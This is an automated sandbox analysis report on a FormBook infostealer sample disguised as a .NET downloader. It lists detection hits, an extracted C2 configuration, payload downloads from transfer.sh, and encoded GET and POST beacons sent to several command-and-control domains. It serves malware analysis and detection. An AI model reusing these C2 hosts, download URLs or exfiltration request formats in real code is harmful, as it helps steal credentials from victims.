Windows Analysis Report
SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Machine Learning detection for sample

Source: Yara match	File source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Joe Sandbox ML: detected

Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.suatvthainguyen.buzz/obc0/"], "decoy": ["ZjclkfTy1nqU", "sXZhy2crEuB/rUzSxLptDVNcNzQ=", "ck1FI0gC5KFwF/D9Yj46lPTa6w==", "42k+tkDixYLj8Hj2JLnoXA==", "Xi/Fcx2+VzH7oQ==", "ALWQcoIm9qi/ysm3c+AzBYQg", "zVYi9iHnwoyWJ+MIvGIbdrI74w==", "l2InDjHPqT780JFZtA==", "YC0RHirarHuVp6OTGhwwxbptEGEJEQ==", "BqRbKUgCz2VHR0lbEKy2Uw==", "YP/p7RGcfw9DYfARrYU=", "HMe4sMZsRwfYURFhGf2KnLBYIl/JBnI=", "kDEcbvuuhSSocC3r", "BdnGTpee8ePq9wv0", "YTYa+yXDhh7qvEelWkDrQw==", "FZtkxWUvtmmd", "t1gxeQHbaxdQWy6poRYw", "1GMUbRrIvozjhn0=", "ONzHsuOGV/A2WjHsuh4ylPTa6w==", "UAXYR+uRahqUYTfy", "yW5rd6RWLvbxExj6", "+J0nwloF8OXkBvmHUjbiAIsY/A==", "XhkE/wmrdT1A36bu6KKqSw==", "FufczeuGYec2XzfbTLj5UQvpa77X", "23UigCjyz4XcAwYW6KKqSw==", "qzcKtebzgzOE", "B+3m2M9r++2wV2o=", "Jbpx3H4q+b1JbC+poRYw", "Pffk3QHjiSmA", "BrafEas+GNIzYi+poRYw", "76WG3W8m7PhDYyGwHZM=", "chrNLrdTM9kdMM9PMQy3Xg7pa77X", "EOXXx+WRgAlKcwL2sB8y", "e0Mf7AWRZESOHh2uoY0=", "avnSV6iVbC+C", "R8qfK9SKUQtjeE2xXMDrXA==", "T9/FvuGkOh8rIu2KD4GczAjP4Q==", "E9/Nx+N/bxsMp2wKvpg=", "jkEsLkbqtoBQ8fNmDOSElPTa6w==", "U/PXpqxaO/BzfTCpoRYw", "FqF18phGFMMTcB0VoQ==", "o0z7avaUfA8zRwjyvGIbdrI74w==", "YBn0UbinaBQ=", "v3thnk4vtmmd", "Ten3JNj1TzgxvA==", "pXlWtkbo2Z00FRr7vzc4", "WOeT8Hwr/NCXdje7qpA=", "bQfu0/WsiRlZYlRwU8IpB5c7CR/f", "gyvOROz6VzH7oQ==", "aiPWqL1wQ+CnQ/C2q5I=", "YP3ZxOCTXzy3UD+9qZA=", "lTb5zNZ0//0Gqw==", "fRr52wfBmCeeKTmTU33kL2A=", "aBf9ys6adxQcfoX4pg==", "oYU7DB7Lmjq31qNGwX3kL2A=", "WwXw1uypllIesTy3ZWZ6KHQ=", "bfWqgpVFG/6LGNMa0Ly8VA==", "ILKPjrJkNt6Pbj7Qwpo=", "6cO7NuzffDWF", "74hbz30nEZ090qHFMRgulPTa6w==", "yZ+LkIUvDNsxlVg88mBykhbpa77X", "PRHeRpKb8ePq9wv0", "LPzp1uy0mFiuXW4=", "uVYsoirSnJjjc3c="]}

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49699 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\XVXBDDGDGGDG.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\FREAKYFRIDAY.pdbBSJB source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.315681620.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000001.00000002.400368795.0000000001170000.00000040.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.314711737.0000000000FD7000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.312969278.0000000000E34000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572830036.0000000000CDF000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.399528771.0000000000888000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572246911.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.402502298.0000000000A29000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000001.00000002.400368795.0000000001170000.00000040.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.314711737.0000000000FD7000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.312969278.0000000000E34000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000003.00000002.572830036.0000000000CDF000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.399528771.0000000000888000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.572246911.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000003.402502298.0000000000A29000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\FREAKYFRIDAY.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.315681620.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314925377.0000000002677000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: aspnet_compiler.pdb source: wlanext.exe, 00000003.00000002.571563301.000000000078D000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573238530.0000000003073000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\XVXBDDGDGGDG.pdbBSJB source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00172D50 FindFirstFileW,FindNextFileW,FindClose,		3_2_00172D50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00172D49 FindFirstFileW,FindNextFileW,FindClose,		3_2_00172D49

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA2C95
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA02E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA28C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA22DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA0304
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_00AA031C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 4x nop then pop edi	3_2_00168950
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 4x nop then pop edi	3_2_0016894F

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.bloopacts.live
Source: C:\Windows\explorer.exe	Network Connect: 167.235.29.175 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.luregirl.net
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.167 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.augusta.broker
Source: C:\Windows\explorer.exe	Network Connect: 69.57.163.50 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 52.60.87.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.negerbajs.info
Source: C:\Windows\explorer.exe	Network Connect: 167.179.103.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.skyepattest.com

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 144.76.136.153:443 -> 192.168.2.4:49700

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.suatvthainguyen.buzz/obc0/

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /get/at0HRq/COOL2.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /get/NNwCGT/DLL.txt HTTP/1.1Host: transfer.sh
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=V2kSpVpGpqmsc+zV99/vwEPQm6AjbD0sNlmHlMce7g5oKKN3NgpJQJsKfnUSGJnURE4hRqcigFYsP8mgf+TOZi6v6bw37RqyMQ==&C0=X82hHfExC6QP HTTP/1.1Host: www.negerbajs.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=ymzEQwRFXCPDCi+CRQJb7/Cu/KCeuwmnwGnTOFfe8Wu9oS0w58wfIKm/BUV3lMrC1MN0SKPFf3LORs93kZV7msxn8x5u5Wnabg==&C0=X82hHfExC6QP HTTP/1.1Host: www.augusta.brokerConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=QEPeK6C4+xU1T+Zv89RyXnFvtkuTgj7CyQVR6lB98YiPEjAwu2VabqstxXG4WeniE5n6fSCr36EXz2ZAkGy4VKLMfvQeNDQPqw==&C0=X82hHfExC6QP HTTP/1.1Host: www.luregirl.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=MMZqO1I08y1GBRfD5BQQX3BCGY/GGPyfy+PmyLieMA7AvKnTbkXoUfvxfVWp1ohOvSFQ0Ck6defUcVisMCvldqUqNSR/syiy4w==&C0=X82hHfExC6QP HTTP/1.1Host: www.bloopacts.liveConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP HTTP/1.1Host: www.skyepattest.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153
Source: Joe Sandbox View	IP Address: 144.76.136.153 144.76.136.153

Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.augusta.brokerConnection: closeContent-Length: 412Cache-Control: no-cacheOrigin: http://www.augusta.brokerUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.augusta.broker/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 28 6b 62 6b 54 46 49 4f 65 79 54 6e 50 79 62 42 63 47 42 6e 39 38 53 64 6e 35 32 4f 6a 53 32 6d 31 68 7e 71 46 79 4b 71 30 6c 65 30 75 46 51 75 39 61 4d 37 4c 5f 32 6f 56 45 68 37 37 39 37 66 73 76 78 6e 53 66 33 6b 54 42 43 6c 52 50 4a 33 75 2d 64 6f 6d 4f 6b 77 31 52 30 39 32 46 79 53 58 79 49 76 42 38 36 36 35 67 34 31 71 6a 74 45 52 39 69 59 4a 7a 6f 31 73 30 4b 61 69 4a 31 57 63 74 4b 6b 79 67 35 44 43 66 39 49 38 6a 53 6c 39 73 43 5a 4d 55 37 65 35 75 30 5a 31 6c 6f 57 61 32 4c 58 73 34 66 73 4e 51 34 64 79 69 64 75 55 77 75 6e 4f 33 28 4a 54 67 31 30 7a 75 6c 46 52 79 62 36 57 79 31 6a 42 50 41 6c 78 4f 6f 67 67 49 4c 72 6d 34 54 59 64 79 61 4c 59 46 71 59 61 6d 6c 35 30 67 56 6a 32 46 58 58 78 51 4f 42 68 50 78 4f 64 59 30 38 57 6a 36 63 47 68 5a 57 63 52 34 35 6f 32 71 59 28 33 64 6b 36 50 6c 59 58 68 38 43 5a 58 69 5f 47 46 72 6a 31 42 61 4d 77 76 65 55 4c 59 75 52 74 63 65 55 54 6d 72 50 73 7a 55 6d 4d 69 43 46 6a 62 4d 4c 4f 67 69 46 42 41 44 47 48 45 78 32 69 78 30 74 6e 65 53 4b 6f 45 6b 7a 46 4c 33 73 54 54 4b 6e 73 52 68 69 36 32 55 71 78 48 35 30 38 71 61 4b 62 4b 53 39 68 6d 44 4e 78 78 6b 4a 6c 31 76 38 38 63 73 2d 32 35 55 70 41 55 72 36 53 57 72 64 4b 32 79 4e 65 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=(kbkTFIOeyTnPybBcGBn98Sdn52OjS2m1h~qFyKq0le0uFQu9aM7L_2oVEh7797fsvxnSf3kTBClRPJ3u-domOkw1R092FySXyIvB8665g41qjtER9iYJzo1s0KaiJ1WctKkyg5DCf9I8jSl9sCZMU7e5u0Z1loWa2LXs4fsNQ4dyiduUwunO3(JTg10zulFRyb6Wy1jBPAlxOoggILrm4TYdyaLYFqYaml50gVj2FXXxQOBhPxOdY08Wj6cGhZWcR45o2qY(3dk6PlYXh8CZXi_GFrj1BaMwveULYuRtceUTmrPszUmMiCFjbMLOgiFBADGHEx2ix0tneSKoEkzFL3sTTKnsRhi62UqxH508qaKbKS9hmDNxxkJl1v88cs-25UpAUr6SWrdK2yNeQ).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.augusta.brokerConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.augusta.brokerUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.augusta.broker/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 28 6b 62 6b 54 46 49 4f 65 79 54 6e 4d 46 48 42 52 56 35 6e 6c 73 53 64 28 35 32 4d 6a 53 32 6c 31 68 7e 6d 46 32 37 79 31 53 69 30 75 51 30 75 7e 73 51 37 49 5f 32 6e 4e 55 68 33 31 64 37 76 73 76 78 52 53 61 50 6b 54 46 71 6c 52 50 5a 33 75 4e 46 72 6e 4f 6b 32 35 78 30 38 79 46 79 48 58 79 55 37 42 2d 7e 36 35 69 41 31 72 55 35 45 52 75 4b 62 44 7a 6f 77 6a 55 4c 53 37 35 31 53 63 74 4b 47 79 67 35 74 43 63 46 49 67 44 43 6c 76 65 61 61 46 55 37 58 31 4f 31 6e 36 46 6b 5a 57 46 75 6b 6b 72 48 6d 47 58 64 4f 38 6a 5a 71 43 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=(kbkTFIOeyTnMFHBRV5nlsSd(52MjS2l1h~mF27y1Si0uQ0u~sQ7I_2nNUh31d7vsvxRSaPkTFqlRPZ3uNFrnOk25x08yFyHXyU7B-~65iA1rU5ERuKbDzowjULS751SctKGyg5tCcFIgDClveaaFU7X1O1n6FkZWFukkrHmGXdO8jZqCQ).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.luregirl.netConnection: closeContent-Length: 412Cache-Control: no-cacheOrigin: http://www.luregirl.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.luregirl.net/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 64 47 6e 2d 4a 4e 4c 62 30 44 49 31 54 76 35 55 6f 6f 31 62 66 6d 68 2d 7e 6d 6e 68 68 51 4b 68 36 57 73 68 77 6d 70 31 28 37 66 48 47 68 4d 50 71 78 67 4a 66 2d 73 51 79 56 7e 30 4d 50 72 75 46 4a 28 39 66 43 71 63 7a 59 74 70 6f 6c 55 50 71 68 75 2d 52 36 79 33 62 74 45 33 49 47 51 47 6c 56 71 50 35 4a 75 77 4a 5f 76 50 67 63 45 76 56 49 6a 4e 63 6c 58 30 72 64 45 50 73 42 28 31 7e 53 39 44 34 74 57 55 37 50 75 41 56 72 77 65 51 70 55 34 65 42 4e 6e 5a 65 4c 52 55 69 61 6e 48 51 77 4a 74 55 65 48 67 79 55 58 31 48 37 49 74 79 42 4d 58 67 55 72 47 72 6b 6d 34 39 43 64 49 53 28 70 59 63 56 61 65 71 39 59 58 48 49 41 49 6d 5a 7a 62 6b 52 71 79 77 32 51 53 50 28 69 62 32 6d 2d 71 4c 4f 2d 52 65 6c 49 75 6b 52 55 45 54 76 6f 58 75 49 6c 73 4b 4f 52 68 46 66 73 37 76 74 39 7e 7a 6b 47 31 79 76 79 36 36 71 55 68 32 6d 65 72 52 4b 47 33 45 59 50 56 34 65 71 73 51 38 5f 7e 4c 62 76 63 6b 55 70 59 37 53 76 68 44 42 59 42 78 58 63 72 44 30 73 32 39 30 36 6c 30 30 77 28 36 53 48 41 4d 38 33 56 70 6e 4a 75 47 69 61 50 39 43 56 62 6b 63 75 68 45 4b 4e 74 67 6c 37 5a 35 7a 61 37 64 28 5a 66 41 71 31 6c 71 36 65 4c 49 30 34 6a 6f 43 65 69 59 34 61 58 37 64 66 57 75 7a 58 4b 44 6c 73 4e 75 38 76 50 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=dGn-JNLb0DI1Tv5Uoo1bfmh-~mnhhQKh6Wshwmp1(7fHGhMPqxgJf-sQyV~0MPruFJ(9fCqczYtpolUPqhu-R6y3btE3IGQGlVqP5JuwJ_vPgcEvVIjNclX0rdEPsB(1~S9D4tWU7PuAVrweQpU4eBNnZeLRUianHQwJtUeHgyUX1H7ItyBMXgUrGrkm49CdIS(pYcVaeq9YXHIAImZzbkRqyw2QSP(ib2m-qLO-RelIukRUETvoXuIlsKORhFfs7vt9~zkG1yvy66qUh2merRKG3EYPV4eqsQ8_~LbvckUpY7SvhDBYBxXcrD0s2906l00w(6SHAM83VpnJuGiaP9CVbkcuhEKNtgl7Z5za7d(ZfAq1lq6eLI04joCeiY4aX7dfWuzXKDlsNu8vPw).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.luregirl.netConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.luregirl.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.luregirl.net/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 64 47 6e 2d 4a 4e 4c 62 30 44 49 31 53 63 52 55 70 37 74 62 56 47 68 2d 78 47 6d 72 68 51 4c 49 36 57 73 6c 77 69 52 6c 71 63 37 48 47 30 67 50 71 44 59 4a 61 2d 73 54 36 31 7e 34 50 5f 72 42 46 4a 28 68 66 47 69 63 7a 63 46 70 6f 6b 6b 50 71 53 57 35 57 36 79 31 58 4e 45 77 61 32 52 4d 6c 56 47 39 35 4e 6d 77 4a 39 6e 50 67 50 63 76 56 65 7e 62 59 46 58 33 75 64 45 45 6a 68 28 35 7e 53 39 68 34 74 57 2d 37 4b 69 41 56 62 67 65 52 4b 38 5f 51 42 4e 5f 48 4f 4b 6a 45 43 62 53 4e 78 68 65 67 6d 7a 79 6d 79 46 47 33 46 7e 53 39 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=dGn-JNLb0DI1ScRUp7tbVGh-xGmrhQLI6WslwiRlqc7HG0gPqDYJa-sT61~4P_rBFJ(hfGiczcFpokkPqSW5W6y1XNEwa2RMlVG95NmwJ9nPgPcvVe~bYFX3udEEjh(5~S9h4tW-7KiAVbgeRK8_QBN_HOKjECbSNxhegmzymyFG3F~S9w).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.bloopacts.liveConnection: closeContent-Length: 412Cache-Control: no-cacheOrigin: http://www.bloopacts.liveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.bloopacts.live/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 42 4f 78 4b 4e 41 70 66 67 58 74 43 4d 7a 76 30 74 30 67 41 54 48 39 4b 58 37 47 35 4f 63 4f 54 36 35 32 53 38 37 47 30 4e 69 72 52 67 70 48 5f 66 67 6a 2d 4a 4b 50 6f 55 6c 6a 61 74 34 74 50 31 45 4d 46 75 56 4d 54 61 66 57 6a 5a 46 43 79 50 6c 72 7a 55 4d 55 71 49 79 74 39 6e 42 58 55 28 6a 38 4b 44 53 6a 37 5a 39 63 4c 43 6a 63 69 44 36 33 73 47 70 7e 32 31 7a 5a 5a 63 56 46 34 48 34 48 4e 66 52 6c 63 4d 73 73 55 79 68 6f 55 36 67 65 6a 74 37 63 6a 6f 4b 6a 51 50 37 67 74 57 76 6d 4e 6f 49 49 55 7e 63 41 51 50 64 65 64 43 58 78 78 44 74 65 6b 33 51 6f 79 53 68 68 39 73 30 31 33 69 54 48 7a 6a 4a 7e 53 49 5a 62 53 44 59 54 69 67 73 57 67 7a 61 53 48 43 2d 68 47 49 30 63 34 35 79 47 5a 63 36 78 34 38 32 34 34 62 54 43 69 6f 54 56 4a 6a 59 6a 50 35 35 4e 38 52 57 57 70 46 41 4f 31 34 67 6e 50 64 48 62 63 39 57 43 58 4f 2d 34 54 41 79 72 77 47 30 72 49 69 64 28 31 45 75 4e 43 70 5f 53 51 4b 31 66 6f 6c 39 61 5a 4a 30 48 4e 75 4e 6d 64 56 54 63 68 73 62 73 4a 77 7a 6e 67 41 7a 50 62 75 74 50 61 56 38 54 4a 41 72 34 46 6a 79 4b 45 52 4a 46 74 6b 36 34 71 59 4a 69 62 50 43 63 6c 36 59 46 42 53 41 43 55 49 34 30 4b 72 4d 6b 61 77 42 4e 54 39 49 71 59 65 41 78 30 58 61 57 5f 73 54 78 58 65 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=BOxKNApfgXtCMzv0t0gATH9KX7G5OcOT652S87G0NirRgpH_fgj-JKPoUljat4tP1EMFuVMTafWjZFCyPlrzUMUqIyt9nBXU(j8KDSj7Z9cLCjciD63sGp~21zZZcVF4H4HNfRlcMssUyhoU6gejt7cjoKjQP7gtWvmNoIIU~cAQPdedCXxxDtek3QoyShh9s013iTHzjJ~SIZbSDYTigsWgzaSHC-hGI0c45yGZc6x48244bTCioTVJjYjP55N8RWWpFAO14gnPdHbc9WCXO-4TAyrwG0rIid(1EuNCp_SQK1fol9aZJ0HNuNmdVTchsbsJwzngAzPbutPaV8TJAr4FjyKERJFtk64qYJibPCcl6YFBSACUI40KrMkawBNT9IqYeAx0XaW_sTxXew).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.bloopacts.liveConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.bloopacts.liveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.bloopacts.live/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 42 4f 78 4b 4e 41 70 66 67 58 74 43 4e 43 76 30 73 6e 59 41 62 6e 39 4b 56 37 47 33 4f 63 4f 75 36 35 32 57 38 36 7a 5f 4e 52 37 52 67 35 33 5f 66 54 4c 2d 49 4b 50 72 61 46 6a 65 67 59 74 61 31 45 4e 6b 75 58 59 54 61 66 43 6a 5a 48 61 79 50 57 44 30 56 4d 55 6f 4b 79 74 79 6a 42 58 42 28 6a 52 44 44 51 6e 37 5a 5f 55 4c 43 51 6b 69 44 6f 66 76 42 4a 7e 4e 70 6a 5a 65 46 46 46 38 48 34 48 6a 66 52 6b 35 4d 70 6f 55 79 56 45 55 31 6c 43 67 6a 37 63 6d 72 4b 69 38 50 6f 35 70 59 39 76 43 70 72 4e 39 7e 73 68 38 4d 63 6e 71 59 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=BOxKNApfgXtCNCv0snYAbn9KV7G3OcOu652W86z_NR7Rg53_fTL-IKPraFjegYta1ENkuXYTafCjZHayPWD0VMUoKytyjBXB(jRDDQn7Z_ULCQkiDofvBJ~NpjZeFFF8H4HjfRk5MpoUyVEU1lCgj7cmrKi8Po5pY9vCprN9~sh8McnqYw).
Source: global traffic	HTTP traffic detected: POST /obc0/ HTTP/1.1Host: www.skyepattest.comConnection: closeContent-Length: 412Cache-Control: no-cacheOrigin: http://www.skyepattest.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.skyepattest.com/obc0/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 2d 5a 62 68 39 38 3d 32 4e 36 6e 38 5f 43 6b 75 48 53 35 63 64 6f 69 41 70 32 2d 42 32 28 50 39 63 36 58 79 69 49 52 71 56 76 76 45 31 68 74 76 51 53 52 32 2d 71 45 54 51 6a 68 32 6e 28 30 64 62 6c 64 28 77 67 6a 6f 6c 37 56 63 54 68 59 77 30 79 47 6f 31 35 79 79 43 35 39 62 54 72 38 66 39 31 58 59 51 58 72 5a 46 59 65 5a 78 52 65 32 4f 66 52 6f 55 49 31 4e 33 6a 66 67 4f 61 72 48 33 79 67 33 35 4e 59 42 6d 6c 59 6a 5f 5a 6b 50 49 68 51 31 5f 5a 41 68 34 74 4c 30 34 4e 6d 7a 55 57 64 51 52 54 31 52 4a 4a 38 48 70 62 45 79 45 30 70 66 49 50 45 64 45 4f 74 37 65 73 68 72 6c 58 57 42 6a 7e 4c 64 65 4c 50 5a 59 33 58 4b 6f 51 76 73 54 45 6c 66 69 52 39 6c 62 50 46 54 6b 79 69 28 31 55 35 75 35 4d 5f 73 53 4c 4a 71 6a 73 57 46 62 38 6a 49 41 34 69 77 4a 65 4c 75 57 58 38 61 5f 49 4c 4a 66 65 74 37 34 78 53 35 66 4b 6c 50 76 49 79 31 69 42 4f 69 79 4b 51 4d 76 43 42 6c 42 69 50 59 7a 6f 74 76 33 56 41 6e 37 35 32 44 73 52 58 75 6f 4c 76 61 38 48 49 53 61 6f 68 67 42 39 31 70 70 46 5a 35 6b 55 6c 56 4f 6f 6e 58 35 72 78 6c 55 50 33 62 47 71 55 63 52 49 4e 4f 4a 73 59 70 33 58 74 65 65 37 63 44 39 61 74 48 48 41 41 38 4d 57 34 4b 51 66 71 50 68 41 33 39 75 6a 77 61 63 42 42 4c 72 44 63 79 69 43 4b 47 72 62 62 54 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: -Zbh98=2N6n8_CkuHS5cdoiAp2-B2(P9c6XyiIRqVvvE1htvQSR2-qETQjh2n(0dbld(wgjol7VcThYw0yGo15yyC59bTr8f91XYQXrZFYeZxRe2OfRoUI1N3jfgOarH3yg35NYBmlYj_ZkPIhQ1_ZAh4tL04NmzUWdQRT1RJJ8HpbEyE0pfIPEdEOt7eshrlXWBj~LdeLPZY3XKoQvsTElfiR9lbPFTkyi(1U5u5M_sSLJqjsWFb8jIA4iwJeLuWX8a_ILJfet74xS5fKlPvIy1iBOiyKQMvCBlBiPYzotv3VAn752DsRXuoLva8HISaohgB91ppFZ5kUlVOonX5rxlUP3bGqUcRINOJsYp3Xtee7cD9atHHAA8MW4KQfqPhA39ujwacBBLrDcyiCKGrbbTg).
